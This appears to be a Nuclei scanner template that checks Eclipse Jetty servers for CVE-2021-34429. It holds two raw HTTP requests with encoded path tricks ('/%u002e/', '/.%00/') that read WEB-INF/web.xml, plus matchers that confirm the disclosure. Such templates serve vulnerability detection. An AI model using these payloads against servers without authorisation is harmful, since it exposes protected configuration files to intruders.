id: CVE-2021-34429

info:
  name: Jetty Authorization Before Parsing and Canonicalization Variation
  author: Bernardo Rodrigues @bernardofsr | André Monteiro @am0nt31r0
  severity: medium
  description: |
    For Eclipse Jetty versions 9.4.37-9.4.42, 10.0.1-10.0.5 & 11.0.1-11.0.5, URIs can be crafted using some encoded characters to access the content of the WEB-INF directory and/or bypass some security constraints. This is a variation of the vulnerability reported in CVE-2021-28164/GHSA-v7ff-8wcx-gmc5.
  reference:
    - https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm
    - https://lists.apache.org/thread.html/r763840320a80e515331cbc1e613fa93f25faf62e991974171a325c82@%3Cdev.zookeeper.apache.org%3E
    - https://lists.apache.org/thread.html/r7dd079fa0ac6f47ba1ad0af98d7d0276547b8a4e005f034fb1016951@%3Cissues.zookeeper.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-34429
    cwe-id: CWE-200
  tags: cve,cve2021,jetty

requests:
  - raw:
      - |+
        GET /%u002e/WEB-INF/web.xml HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

      - |+
        GET /.%00/WEB-INF/web.xml HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

    unsafe: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "</web-app>"
          - "java.sun.com"
        part: body
        condition: and

      - type: word
        part: header
        words:
          - "application/xml"